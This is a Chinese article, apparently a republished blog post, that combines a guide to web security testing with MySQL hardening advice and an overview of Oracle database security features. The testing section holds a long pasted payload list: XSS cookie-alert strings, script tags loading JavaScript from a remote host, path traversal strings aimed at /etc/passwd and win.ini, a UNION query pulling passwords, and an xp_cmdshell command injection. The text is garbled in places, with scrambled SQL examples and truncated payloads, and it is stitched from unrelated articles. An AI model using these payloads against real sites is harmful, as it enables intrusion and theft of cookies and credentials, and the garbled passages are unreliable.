如何进行WEB安全性测试

如何进行WEB安全性测试,第1张

安全性测试主要从以下方面考虑 主要从以下方面考虑: WEB 的安全性测试主要从以下方面考虑: Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何进行 SQL 注入测试? 首先找到带有参数传递的 URL 页面,如 搜索页面,登录页面,提交评论页面等等. 注 1:对 于未明显标识在 URL 中传递参数的,可以通过查看 HTML 源代码中的 "FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每一个 参数传递都有可能被利用. <form id="form_search" action="/search/" method="get"><div><input type="text" name="q" id="search_q" value="" /><input name="search" type="image" src="/media/images/site/search_btn.gif" /><a href="/search/" class="fl">Gamefinder</a></div></form>注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 参数或表单中加入某些特殊的 SQL 语句或 SQL 片断,如在登 录页面的 URL 中输入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1:根据实际情况,SQL 注入请求可以使用以下语句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2:为什么是 OR, 以及',――是特殊的字符呢? 例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password' 如 输入 http://duck/index.asp?username=admin' admin' or 1='1&pwd=11,SQL 语句会变成以下:sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 与 admin 前面的'组成了一个查询条件,即 username='admin',接下来的语句将 按下一个查询条件来执行. 接 下来是 OR 查询条件,OR 是一个逻辑运 算符, 在判断多个条件的时候, 只要一 个成立,则等式就成立,后面的 AND 就不再时行判断了,也就是 说我们绕过了密码 验证,我们只用用户名就可以登录. 如 输入 http://duck/index.asp?username=admin'--&pwd=11,SQL 语 admin'-admin'-11 句会 变成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '与 admin 前面的'组成了一个查 询条件,即 username='admin',接下来的语句将按 下一个查询条件来执行 接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验 证(注:对 ACCESS 数据 数据库无 效). 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息如 果 能说明存在 SQL 安 全漏洞. 试想,如果网站存在 SQL 注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结 构,并对数据库表进行增\删\改的 *** 作,这样造成的后果是非常严重的. (2)如何预防 SQL 注入? 从应用程序的角度来讲,我们要做以下三项工作 工作: 工作 转义敏感字符及字符串(SQL 的敏感字符包括 “exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,””,”‘”,”--”,”%”,”0x”,”><=!-*/()|”, 和”空格”). 屏蔽出错信息:阻止攻击者知道攻击的结果 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关 键性的处理 *** 作. 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将 安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验 以下几项安全性问题: 需求中应说明表单中某一 FIELD 的类型,长度,以及取值范围(主要作用就 是禁止输入敏感字符) 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序 应给出不包含任何代码或数据库信息的错误提示. 当然在执行测试的过程中,我们也需求对上述两项内容进行测试. 2.Crossscritping(XSS):(跨站点脚本攻击 跨站点脚本攻击) 2.Cross-site scritping(XSS):(跨站点脚本攻击) (1)如何进行 XSS 测试? <!--[if !supportLists]-->首先,找到带有参数传递的 URL,如 交评论,发表留言 页面等等。 登录页面,搜索页面,提 <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试: <scrīpt>alert(document.cookie)</scrīpt>注:其它的 XSS 测试语句 ><scrīpt>alert(document.cookie)</scrīpt>='><scrīpt>alert(document.cookie)</scrīpt><scrīpt>alert(document.cookie)</scrīpt><scrīpt>alert(vulnerable)</scrīpt>%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt><img src="javascrīpt:alert('XSS')">%0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable')</scrīpt&gt <scrīpt>alert('Vulnerable')</scrīpt>?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>a/ a?<scrīpt>alert('Vulnerable')</scrīpt>"><scrīpt>alert('Vulnerable')</scrīpt>'exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain)%3C/scrīpt%3E&%3Cscrīpt%3Ealert(document.domain)%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini ''!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS')"><IMG SRC=javascrīpt:alert('XSS')><IMG SRC=javascrīpt:alert('XSS')><IMG SRC=javascrīpt:alert("XSS")><IMG SRC=javascrīpt:alert('XSS')><IMG SRC=javascrīpt:alert('XSS')><IMG SRC="jav ascrīpt:alert('XSS')"><IMG SRC="jav ascrīpt:alert('XSS')"><IMG SRC="jav ascrīpt:alert('XSS')">"<IMG SRC=java\0scrīpt:alert(\"XSS\")>"' >out <IMG SRC=" javascrīpt:alert('XSS')"><scrīpt>a=/XSS/alert(a.source)</scrīpt><BODY BACKGROUND="javascrīpt:alert('XSS')"><BODY ōNLOAD=alert('XSS')><IMG DYNSRC="javascrīpt:alert('XSS')"><IMG LOWSRC="javascrīpt:alert('XSS')"><BGSOUND SRC="javascrīpt:alert('XSS')"><br size="&{alert('XSS')}"><LAYER SRC="http://xss.ha.ckers.org/a.js"></layer><LINK REL="stylesheet" HREF="javascrīpt:alert('XSS')"><IMG SRC='vbscrīpt:msgbox("XSS")'><IMG SRC="mocha:[code]"><IMG SRC="livescrīpt:[code]"><META HTTP-EQUIV="refresh" CONTENT="0url=javascrīpt:alert('XSS')"><IFRAME SRC=javascrīpt:alert('XSS')></IFRAME><FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET><TABLE BACKGROUND="javascrīpt:alert('XSS')"><DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"><DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html')"><DIV STYLE="width: expression(alert('XSS'))"><IMG SRC=javascript:ale <STYLE>@im\port'\ja\vasc\ript:alert("XSS")'</STYLE><IMG STYLE='xss:expre\ssion(alert("XSS"))'><STYLE TYPE="text/javascrīpt">alert('XSS')</STYLE><STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE><BASE HREF="javascrīpt:alert('XSS')//">getURL("javascrīpt:alert('XSS')") a="get"b="URL"c="javascrīpt:"d="alert('XSS')"eval(a+b+c+d)<XML SRC="javascrīpt:alert('XSS')">"><BODY ōNLOAD="a()"><scrīpt>function a(){alert('XSS')}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt><IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"><scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt><scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt><scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt><scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt><scrīpt>document.write("<SCRI")</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt><A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A><STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')")}</STYLE><A CLASS=XSS><<!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīp 最后,当用户浏览 时便会d出一个警告框,内容显示的是浏览者当前的 cookie 串,这就 说明该网站存在 XSS 漏洞。 试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚 本,当用户浏览此帖时,cookie 信息就可能成功的被 攻击者获取。此时浏览者的帐号 就很容易被攻击者掌控了。 (2)如何预防 XSS 漏洞? 从应用程序的角度来讲,要进行以下几项预防: 对 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 语句或脚本进行转义. 在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关 键性的处理 *** 作. 从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成 XSS 检查: 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进 行验证,着重验证是否对 HTML 或脚本代码进行了转义。 执行测试过程中也应对上述项进行检查。 3.CSRF:(跨站点伪造请求) 3.CSRF:(跨站点伪造请求) CSRF:(跨站点伪造请求 CSRF 尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,并且攻击方式 几乎相左。 XSS 是利用站点内的信任用户,而 CSRF 则通过伪装来自受信任用户的请求 来利用受信任的网站。 XSS 也好, CSRF 也好, 它的目的在于窃取用户的信息, SESSION 和 COOKIES 如 (关于 SESSION 和 COOKIES 的介绍请参见我的另一篇 BLOG: http://www.51testing.com/?49689/action_viewspace_itemid_74885.html), (1)如何进行 CSRF 测试? 关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查。 (2)如何预防 CSRF 漏洞? 请参见 http://www.hanguofeng.cn/archives/security/preventing-csrf 请 参见 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(邮件标头注入 邮件标头注入) 4.Email Header Injection(邮件标头注入) Email Header Injection:如果表单用于发送 email,表单中可能包括 “subject”输入项(邮件标题),我们要验证 subject 中应能 escape 掉“\n” 标识。 <!--[if !supportLists]--><!--[endif]-->因为“\n”是新行,如果在 subject 中输入“hello\ncc:spamvictim@example.com”,可能会形成以 下 Subject: hello cc: spamvictim@example.com <!--[if !supportLists]--><!--[endif]-->如果允许用户使用这样的 其它用 subject, 那他可能会给利用这个缺陷通过我们的平台给其它 户发送垃 其它 圾邮件。 Traversal(目录遍历 目录遍历) 5.Directory Traversal(目录遍历) (1)如何进行目录遍历测试? 目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之 类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的 任意文件。 测试方法: URL 中输入一定数量的 在 “../” “./” 验证系统是否 ESCAPE 和 , 掉了这些目录跳转符。 (2)如何预防目录遍历? 限制 Web 应用在服务器上的运行 进 行严格的输入验证,控制用户输入非法路径 messages(错误信息 错误信息) 6.exposed error messages(错误信息) (1)如何进行测试? 首 先找到一些错误页面,比如 404,或 500 页面。 验证在调试未开通过的情况下, 是否给出了友好的错误提示信息比如“你 访问的页面不存 在”等,而并非曝露一些程序代码。 (2)如何预防? 测试人员在进行需求检查时,应该对出错信息 进行详细查,比如是否给 出了出错信息,是否给出了正确的出错信息。

一 作为最流行的开源数据库引擎,MySQL本身是非常安全的。即便如此,你仍然需要添加额外的安全层来保护你的MySQL数据库不受攻击,毕竟任何经营网上

在线业务的人都不想冒数据库受到损坏的风险。接下来,我们将介绍一些实用的办法,你可以利用这些办法来保护MySQL数据库,以便加强网站的安全性。

二 保护 *** 作系统

确保 *** 作系统的安全是保护数据库安全的前提,因为如果整个运行环境不安全,那么网站上所有的东西都脆弱,很容易暴露于攻击者。为了维护 *** 作系统和MySQL服务器,你可以使用以下方法:

2.1 主机数据库服务器和web服务器分别在不同的物理机器上,如果可能,在一个单独的服务器上运行数据库服务器,以预防由其他应用程序或服务的漏洞造成的服务器问题。

安装杀毒软件,防火墙以及所有推荐的补丁和更新,防火墙能有效地把流量过滤到MySQL服务器。为了更好的提高安全性,你还可以实行入口封锁。

禁用所有不必要的服务,而且这样的服务越少越好。

2.2 保护所有帐户和密码

攻击者侵入MySQL数据库最常见的一种方法是窃取有安全隐患的账户信息。为了降低出现这种风险的可能性,你不妨试一试下面的方法:

2.2.1. 给所有MySQL账户设置密码

客户程序并不是每次都能识别用户,因此,如果用户知道数据库名但是没有这个用户名的密码,那他可以指定任何其他用户名连接到MySQL数据库。让每个MySQL用户名都设置密码,这样一来,要想利用匿名账户建立连接将会变得很困难。

2.2.2. 不要使用根用户运行MySQL服务器

在安装MySQL的时候,默认情况下创建了一个命名为“root”的管理用户。每个人都知道这一点,所以攻击者通常试图侵入这个“root”用户来获取访问权限。为了保障这个重要帐户的安全,你需要给它重新命名,然后更改一个长并且复杂的密码。

2.2.3你可以在MySQL控制台使用mysql>RENAME USER root TO new_username

指令给根用户重命名,使用mysql>SET PASSWORD FOR 'username'@'%hostname' =

PASSWORD('newpassword')//这是很重要的一条命令

指令来修改密码。

三. 减少管理员账户

管理员账户越多,风险越大,所以你应该保持尽可能最少的帐户数量,只有为那些真正需要它的人创建账户。此外,记得要删除未使用的和匿名的账户。如果你有很多管理员账户,那你需要定期检查并清理那些不必要的账户。

四. 加强所有的密码

除了管理员帐户,你还需要加强所有其他用户的密码。你可以检查所有的用户名和密码,必要的时候你还可以重置安全强度低的账户密码。虽说这样做会有点费时,但却是有必要的。

五 限制数据库权限

每个用户都应该被授予适当的权限以便数据库能够正常运行,但这样一来也加大了数据库的安全隐患。就数据库权限而言,我们有以下几点建议:

5.1. 不要授予非管理员用户文件/高级/程序权限

文件,高级和程序权限都不应该被滥用。文件权限让用户可以在文件系统中的任何一个地方编写文件,而程序权限让用户在任何时候都能够查看服务器活动,终止客户端连接甚至更改服务器 *** 作。为了你的数据库安全,这些权限只能授予给管理员账户。

5.2. 限制或禁用显示数据库权限

显示数据库特权可以用于收集数据库信息,所以攻击者通常利用它来窃取数据并准备进一步攻击。你应该把这个权限授予那些真正需要的人,或者直接禁用这个权

限,你只需要把skip-show-database添加到MySQL数据库中的/etc/my.cnf配置文件中。对于Windows *** 作系统来说,则

需要添加到my.ini文件中。

5.3. 限制管理员和所有其他用户的权限

即使是管理员,也不要在同一账户中授予所有权限。因此我们建议你最好降低管理员账户访问数据的权限。至于其他的用户,你最好检查所有他们拥有的权限,以确保一切都是合适的。

六 删除风险组件

MySQL数据库的默认配置有一些不必要的组件,你可以考虑以下建议:

6.1. 禁用LOAD DATA LOCAL INFILE指令

这个命令允许用户读取本地文件甚至访问其他 *** 作系统上的文件,这可能帮助攻击者收集重要的信息并利用应用程序的漏洞侵入你的数据库。你需要做的是把set-variable=local-infile=0插入到MySQL数据库的my.cnf文件中,来禁用这个指令。

6.2. 删除测试数据库

有一个默认的“测试”数据库用于测试目的。由于这个数据库有安全风险,匿名用户也可以访问,你应该使用mysql>DROP database test指令尽快把它清除掉。

6.3. 删除历史文件

MySQL服务器有一个历史文件,它可以帮助你在安装出错的时候找到问题所在。历史文件包含敏感信息,比如说密码,如果这些信息被攻击者获得,那么将会给

你的数据库带来巨大的安全隐患。在安装成功后,历史文件并没有什么用,因此你可以使用cat /dev/null >

~/.mysql_history指令来删除文件当中的内容。

七 限制远程访问MySQL服务器

对于大多数用户来说,不需要通过不安全的开放网络来访问MySQL服务器。你可以通过配置防火墙或硬件,或者迫使MySQL只听从localhost来限制主机。此外,需要SSH隧道才能进行远程访问。

八 如果你想仅仅从本地主机来限制用户建立连接,你需要在在配置文件中添加bind-address=127.0.0.1。

8.1利用日志记录

启用日志记录让你可以检测服务器上的活动,这样你就可以分析失败的登录尝试和敏感文件的访问记录,以便了解是否存在向你的服务器和数据库发起的恶意活动。

你只需要把log =/var/log/mylogfile指令添加到MySQL配置文件中,就可以手动启用日志记录功能。

8.2至于日志记录,需要注意以下两点:

8.2.1日志记录仅适用于查询数量有限的数据库服务器。对于信息量大的服务器,这可能会导致高过载。

8.2.2由于“hostname.err”文件包含敏感数据表名和密码,只有“root”和“mysql”才有访问和记录这个文件的权限。

Oracle数据库本身的安全性建设

从总体上而言,Oracle数据库是业界安全性方面最完备的数据库产品。在数据库安全性的国际标准中,Oracle通过了14项标准的测试,是所有数据库产品中通过安全性标准最多、最全面的产品。Oracle在C2级的 *** 作系统上(如商用UNIX,VMS *** 作系统),不仅满足NCSC C2级安全标准,而且已经正式通过了NCSC C2标准的测试。在B1级的 *** 作系统上不仅满足NCSC B1级安全标准,而且已经通过了NCSC B1级标准的测试。

Oracle提供的主要安全性措施如下:

?? 身份认证功能(Authentication):识别访问个体的身份

?? 数据访问的机密性(Confidentialty):保证敏感数据访问的机密性。

?? 数据完整性(Integrity):保证数据不被篡改。

?? 授权能力(Authorization):保证被授权用户对数据的查询和修改能力。

?? 访问控制(Access Control):确定对指定数据的访问能力。

?? 审计能力(Auditing):提供监测用户行为的能力。

?? 私有性(Privacy):提供对敏感数据访问的私密性。

?? 高可用性(Availability):保证数据和系统提供不间断服务的能力。

?? 代理管理能力(Delegated Administration):提供对用户帐号的集中管理功能。

下面将就应用系统本身对于Oracle提供的安全性措施作更深入的探讨。

$PageTitle= Oracle的安全性领域}

三、 Oracle的安全性领域

?? Profile控制

Oracle利用profile机制来管理会话资源占用,同时也管理用户密码的安全策略。

通过profile我们可以实现:

某个特定用户最多只能占用系统百分之几的CPU时间?

某个特定用户连接到数据库之后能存活多长时间?

某个特定用户连接到数据库之后多长时间处于非活跃状态就将被系统中断连接?

用户登录密码输入错误多少次之后就将自动锁定用户?

用户密码的长度和包含的字符必须符合什么样的规则?

用户密码在多少天后将自动失效并要求设定新密码?

?? 用户权限控制 (Privilage)

Oracle通过角色(Role),权限(Privilage)等的一系列授予(Grant)和回收(Revoke) *** 作可以有效的进行用户的权限控制。

通过权限控制我们可以实现:

某个特定用户只能读取而不能修改另一个用户的表数据。

某个特定用户只能运行Oracle数据库系统的几个存储过程或者函数。

某个特定用户自己能够拥有修改某些数据的权力,但是却无法给其它不拥有这个权限的用户授予修改该数据的权力。

某个特定用户可以读取数据但是无法创建新的表空间。

?? 虚拟专用数据库(VPD)

虚拟专用数据库 (VPD) 也称为细粒度访问控制,它提供强大的行级安全功能。它是在 Oracle8i 中推出的,已经受到广泛的欢迎。

VPD 的工作方法是,通过透明地更改对数据的请求,基于一系列定义的标准向用户提供表的局部视图。在运行时,所有查询都附加了谓词,以便筛选出准许用户看到的行。

也就是通过VPD的设置,我们可以做到行级安全性控制,特定的用户即使对一张表有读取权限,那么也只能看到符合自身权限的记录。

注意,在Oracle10g版本中,VPD得到增强,已经可以实现字段级的安全性控制了。

实例及搭建步骤参看:利用VPD细粒度访问策略实现行级安全性 Step By Step

?? Orace Label Security

基于对由客户提交的行级安全性的严格要求,Oracle Label Security(Oracle 数据库企业版的选件之一)利用多级安全性概念解决了世界上政府和商业用户在实际中遇到的数据安全和隐私问题。

OLS 通过利用数据敏感度标签(例如“敏感”和“公司机密”)与用户标签授权,提供了完善的行级安全性控制。

OLS 使用政策概念来存储标签定义和授权。该政策可直接在数据库中进行管理,或在 Oracle 身份管理中进行集中管理。

?? Oracle Database Valut

通常数据库管理员如果具有了DBA权限,那么就很难防止这样的管理员查看应用程序数据。而Oracle Database Valut则解决了必须保护涉及合作伙伴、员工和顾客的敏感业务信息或隐私数据的客户最为担心的问题。

Oracle Database Vault 可防止高权限的应用程序 DBA 访问其他的应用程序、执行其权限之外的任务。Oracle Database Vault 可在不影响应用程序功能的前提下快速而高效地保护现有程序。

Oracle Database Vault 可通过下列方法解决一些最为常见的安全问题和内部威胁:

1. 限制 DBA 和其他授权用户访问应用程序数据。

2. 防止DBA *** 纵数据库和访问其他应用程序。Oracle Database Vault 提供了强大的职责划分控制功能,可防止擅自更改数据库。比如说如果一个用户具有 CREATE USER 权限,但不具备正确的用户管理权限,则 Oracle Database Vault 将阻止该 DBA 创建新用户。

3. 更好的控制何人、何时、何地可以访问应用程序。如日期时间、数据库客户端在网络上的位置之类的因素。

Oracle Database Valut是新的Oracle Database 10g企业版的选件。目前已经有Linux X86以及Solaris SPARC 64bit的版本可以下载使用了。

?? 用户访问审计

审计是Oracle安全性的另一个重要领域,我们还必须小心地计划审计方案。有几种方式可在Oracle中进行审计:

1. SQL审计命令(标准审计)

通过AUDIT语句我们可以对成功或者不成功的特定对象的读取,更新 *** 作进行审计。

标准审计只会记录较少的跟踪信息,比如发出该语句的用户、时间、终端标识号等等。

该审计对于系统性能的影响更多地取决于对象的繁忙程度。

2. 用对象触发器进行审计(也就是DML审计)

此类审计通常由客户自行开发放置于特定数据库对象上的触发器,由于是自行开发,所以相对于标准审计则能够更自由地记录更多感兴趣的跟踪信息。比如更新 *** 作将某个字段从什么原始值更新到了什么新值。

该审计对于系统性能的影响更多地取决于对象的繁忙程度和触发器的编写水平。

3. 用系统级触发器进行审计(记录用户登录和退出)

当用户登录数据库或者离开数据库时,都可以通过自定义的触发器来记录用户名称, *** 作时间,终端标识号等信息。

由于触发器触发几率小,所以该审计对于系统性能影响并不大。

4. 用LogMiner进行审计(也就是DML和DDL)

Oracle数据库将所有的更新 *** 作都记录在重作日志中,而Oracle提供了LogMiner工具用于挖掘重作日志中的所有 *** 作,相比起上述的各种审计方法来说,该种审计可能是信息最为完善,对于应用系统性能影响最小的方法。

此处稍微延展开来说一下,LogMiner是双刃剑,既然可以用来审计,也就能够被恶意使用作为数据窃取的工具。所以在数据本身的加密方面,Oracle同样提供了多种解决方案,比如DBMS_OBFUSCATION_TOOLKIT,DBMS_CRYPTO和最新的透明数据加密,甚至在数据备份方面 Oracle也推出了Secure Backup来应对磁带数据的加密,但是要注意到数据加密不应用作访问控制的替代项,存储加密的数据并不会在存储介质本身提供额外的保护层,只是有助于在发生介质遭窃时保护诸如xyk号之类的敏感数据。本文不再作更多的介绍。

5. 细精度审计(FGA)

细粒度审计 (FGA),是在 Oracle 9i 中引入的,能够记录 SCN 号和行级的更改以重建旧的数据,但是它们只能用于 select 语句,而不能用于 DML,如 update、insert 和 delete 语句。因此,对于 Oracle 数据库 10g 之前的版本,使用触发器虽然对于以行级跟踪用户初始的更改是没有吸引力的选择,但它也是唯一可靠的方法。

而Oracle10g种FGA功能的增强使其不但能够支持select *** 作,同时也支持DML *** 作。在 Oracle 10g 中,审计已经从一个单纯的“ *** 作记录者”成长为一个“事实记录机制”,它能以一个非常详细的级别来捕获用户的行为,这可以消除您对手动的、基于触发器的审计的需要。它还结合了标准审计和 FGA 的跟踪,这使其更易于跟踪数据库访问,而不用考虑它是如何生成的。

通过细粒度审计我们可以记录:

在早上九点到下午六点之间或在星期六和星期日对某个表进行了访问。

使用了公司网络外部的某个 IP 地址。

选定或更新了特定列。

使用了该列的特定值。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/sjk/6692181.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-03-26
下一篇 2023-03-26

发表评论

登录后才能评论

评论列表(0条)

保存